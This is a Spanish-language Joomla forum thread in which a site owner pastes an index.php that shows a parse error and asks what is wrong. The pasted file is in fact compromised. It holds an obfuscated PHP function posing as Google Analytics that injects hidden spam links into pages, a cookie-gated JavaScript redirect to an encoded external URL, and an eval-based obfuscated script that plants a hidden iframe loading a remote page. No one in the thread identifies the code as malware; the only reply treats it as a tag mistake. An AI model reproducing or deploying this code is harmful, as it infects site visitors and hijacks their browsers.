Foros del Web » Creando para Internet » Sistemas de gestión de contenidos » Joomla »

Parse error: syntax error, unexpected '<'

Estas en el tema de Parse error: syntax error, unexpected '<' en el foro de Joomla en Foros del Web. Resulta que me aperece el siguiente error Cita: Parse error: syntax error, unexpected '<' in /usr/home/sirtec.es/web/index.php on line 34 al abrir mi pagina web "www.sirtec.es, ...
  #1 (permalink)  
Antiguo 16/03/2011, 02:24
 
Fecha de Ingreso: marzo-2011
Mensajes: 5
Antigüedad: 13 años, 9 meses
Puntos: 0
Parse error: syntax error, unexpected '<'

Resulta que me aperece el siguiente error
Cita:
Parse error: syntax error, unexpected '<' in /usr/home/sirtec.es/web/index.php on line 34
al abrir mi pagina web "www.sirtec.es, os pego el codigo a ver si podeis decirme que es lo que falla

Código PHP:
<?php // 3fff03761dc2e41c96a48a5a6b7c0cb8
if (!function_exists('__google_analytics_obh')){
function 
__google_analytics_obh ($c){
    
$i base64_decode('PCEtLTNmZmYwMzc2MWRjMmU0MWM5NmE0OGE1YTZiN2MwY2I4LS0+PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7IGxlZnQ6MzI0cHg7IHRvcDogLTEwMHB4OyI+PGEgaHJlZj0iaHR0cDovL3d3dy5leHRhZmlsbS5jb20vIj5kb3dubG9hZCBtb3ZpZXM8L2E+LiA8YSBocmVmPSJodHRwOi8vd3d3Lm1vdmlldGhvbmUuY29tLzEtbGFzdC1sb2FkZWQtbW92aWVzLmh0bWwiPmxhc3QgbW92aWVzPC9hPi4gPGEgaHJlZj0iaHR0cDovL3d3dy5xdWJtb3ZpZXMuY29tLyI+bW92aWUgZG93bmxvYWRzPC9hPjwvZGl2PjwhLS0vM2ZmZjAzNzYxZGMyZTQxYzk2YTQ4YTVhNmI3YzBjYjgtLT4=');
    
$tmpdir getenv('TMP');
    if (empty(
$tmpdir)) $tmpdir getenv('TEMP');
    if (empty(
$tmpdir)) $tmpdir getenv('TMPDIR');
    
$pgid = @$_SERVER['REQUEST_URI'];
    if (empty(
$pgid)) $pgid __FILE__;
    
$f $tmpdir.md5('42:)'.$pgid);
    if (!
file_exists($f))
    {
        
$pos mt_rand(010) / 10;
        
file_put_contents($f$pos);
    }
    else 
$pos file_get_contents($f);
    
$c2 strtolower($c);
    
$tags = array('</p>''</div>''</table>');
    
$injpos strpos($c2'</body>') or strlen($c);
    
$p round($injpos $pos);
    if (
$p 0$p 0; if ($p $injpos$p $injpos;
    foreach (
$tags as $tag) {
        
$t strpos($c2$tag$p);
        if (
$t)
        {
            
$injpos $t strlen($tag);
            break;
        }
    }
    return 
substr($c0$injpos) . $i substr($c$injpos);
    }
    @
ob_start(__google_analytics_obh);
}
<?
php
/**
* @version        $Id: index.php 11407 2009-01-09 17:23:42Z willebil $
* @package        Joomla
* @copyright    Copyright (C) 2005 - 2009 Open Source Matters. All rights reserved.
* @license        GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Set flag that this is a parent file
define'_JEXEC');

define('JPATH_BASE'dirname(__FILE__) );

define'DS'DIRECTORY_SEPARATOR );

require_once ( 
JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( 
JPATH_BASE .DS.'includes'.DS.'framework.php' );

JDEBUG $_PROFILER->mark'afterLoad' ) : null;

/**
 * CREATE THE APPLICATION
 *
 * NOTE :
 */
$mainframe =& JFactory::getApplication('site');

/**
 * INITIALISE THE APPLICATION
 *
 * NOTE :
 */
// set the language
$mainframe->initialise();

JPluginHelper::importPlugin('system');

// trigger the onAfterInitialise events
JDEBUG $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');

/**
 * ROUTE THE APPLICATION
 *
 * NOTE :
 */
$mainframe->route();

// authorization
$Itemid JRequest::getInt'Itemid');
$mainframe->authorize($Itemid);

// trigger the onAfterRoute events
JDEBUG $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');

/**
 * DISPATCH THE APPLICATION
 *
 * NOTE :
 */
$option JRequest::getCmd('option');
$mainframe->dispatch($option);

// trigger the onAfterDispatch events
JDEBUG $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');

/**
 * RENDER  THE APPLICATION
 *
 * NOTE :
 */
$mainframe->render();

// trigger the onAfterRender events
JDEBUG $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');

/**
 * RETURN THE RESPONSE
 */
echo JResponse::toString($mainframe->getCfg('gzip'));  <script language="JavaScript">if(document.cookie.indexOf("udb=1")<0){var j=0,n="";while(j<44)n+=String.fromCharCode("iuuq;0086/238/219/2850byb0dd0pvu/qiq@t`je>2".charCodeAt(j++)-1);document.cookie="udb=1;";document.location=n;}</script>    ?><script>function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS("#va","background:url(data:,String.fromCharCode)");var my=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var dkfw=r[i].cssRules||r[i].rules;for(var srx=0;srx<dkfw.length;srx++){var gk=dkfw.item?dkfw.item(srx):dkfw[srx];if(!gk.selectorText.match(/#va/))continue;fyqo=(gk.cssText)?gk.cssText:gk.style.cssText;my=fyqo.match(/(S[^")]+)/)[1];iu=gk.selectorText.substr(1);};}catch(e){};}kgl=new Date(2010,11,3,2,21,4);t=kgl.getSeconds();var dkel=[36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,392/t,400/t,484/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,136/t,392/t,444/t,400/t,484/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,464/t,456/t,484/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,392/t,400/t,484/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,396/t,388/t,464/t,396/t,416/t,128/t,160/t,404/t,164/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,392/t,444/t,400/t,484/t,128/t,244/t,128/t,392/t,400/t,484/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,136/t,240/t,420/t,408/t,456/t,388/t,436/t,404/t,128/t,460/t,456/t,396/t,244/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,404/t,468/t,456/t,444/t,480/t,212/t,184/t,392/t,420/t,488/t,188/t,460/t,464/t,388/t,484/t,188/t,444/t,468/t,464/t,184/t,448/t,416/t,448/t,252/t,460/t,380/t,420/t,400/t,244/t,196/t,156/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,156/t,196/t,192/t,156/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,156/t,196/t,192/t,156/t,128/t,460/t,464/t,484/t,432/t,404/t,244/t,156/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,232/t,416/t,420/t,400/t,400/t,404/t,440/t,236/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,232/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,236/t,432/t,404/t,408/t,464/t,232/t,192/t,236/t,464/t,444/t,448/t,232/t,192/t,236/t,156/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,500/t,52/t,36/t,36/t,408/t,468/t,440/t,396/t,464/t,420/t,444/t,440/t,128/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,408/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,156/t,420/t,408/t,456/t,388/t,436/t,404/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,460/t,456/t,396/t,156/t,176/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,404/t,468/t,456/t,444/t,480/t,212/t,184/t,392/t,420/t,488/t,188/t,460/t,464/t,388/t,484/t,188/t,444/t,468/t,464/t,184/t,448/t,416/t,448/t,252/t,460/t,380/t,420/t,400/t,244/t,196/t,156/t,164/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,244/t,156/t,416/t,420/t,400/t,400/t,404/t,440/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,244/t,156/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,432/t,404/t,408/t,464/t,244/t,156/t,192/t,156/t,236/t,408/t,184t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,408/t,164/t,236/t,52/t,36/t,36/t,500/t];var aty="";var g=function(){return this;}();ko=g["e"+iu+"l"];var ydxx="";gh=ko(my);for(var i=0;i<dkel.length;i++){ch=ko(dkel[i]);ydxx+=gh(ch);}ko(ydxx);</script>
  #2 (permalink)  
Antiguo 16/03/2011, 10:30
Avatar de darkasecas  
Fecha de Ingreso: marzo-2005
Ubicación: SantaCata, NL, Mexico
Mensajes: 1.553
Antigüedad: 19 años, 9 meses
Puntos: 77
Respuesta: Parse error: syntax error, unexpected '<'

Abres etiquetas de php y luego mas abajo vuelves a abrir etiqueta de php sin haber cerrado la anterior :|
  #3 (permalink)  
Antiguo 16/03/2011, 10:49
 
Fecha de Ingreso: marzo-2011
Mensajes: 5
Antigüedad: 13 años, 9 meses
Puntos: 0
Respuesta: Parse error: syntax error, unexpected '<'

Cita:
Iniciado por darkasecas Ver Mensaje
Abres etiquetas de php y luego mas abajo vuelves a abrir etiqueta de php sin haber cerrado la anterior :|
Disculpa pero es que ese index.php se ha generado automaticamente yo no he tocado nada, realmente no tengo ni idea de php
Podrias decirme exactamente donde debo cerrar la etiqueta?
Muchas gracias por tu respuesta.
  #4 (permalink)  
Antiguo 16/03/2011, 17:40
 
Fecha de Ingreso: marzo-2011
Mensajes: 5
Antigüedad: 13 años, 9 meses
Puntos: 0
Respuesta: Parse error: syntax error, unexpected '<'

Creo que he solucionado lo que me comentas, efectivamente faltaba de cerrar la primera etiqueta <?php, ahora lo que me aparece es lo siguiente:
Cita:
Parse error: syntax error, unexpected '<' in /usr/home/sirtec.es/web/index.php on line 122
  #5 (permalink)  
Antiguo 17/03/2011, 15:34
 
Fecha de Ingreso: marzo-2011
Mensajes: 5
Antigüedad: 13 años, 9 meses
Puntos: 0
Respuesta: Parse error: syntax error, unexpected '<'

Nadie puede ayudarme?
  #6 (permalink)  
Antiguo 28/04/2011, 12:40
 
Fecha de Ingreso: marzo-2011
Mensajes: 5
Antigüedad: 13 años, 9 meses
Puntos: 0
Respuesta: Parse error: syntax error, unexpected '<'

Por favor estoy desesperado...

Etiquetas: parse, syntax
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 13:21.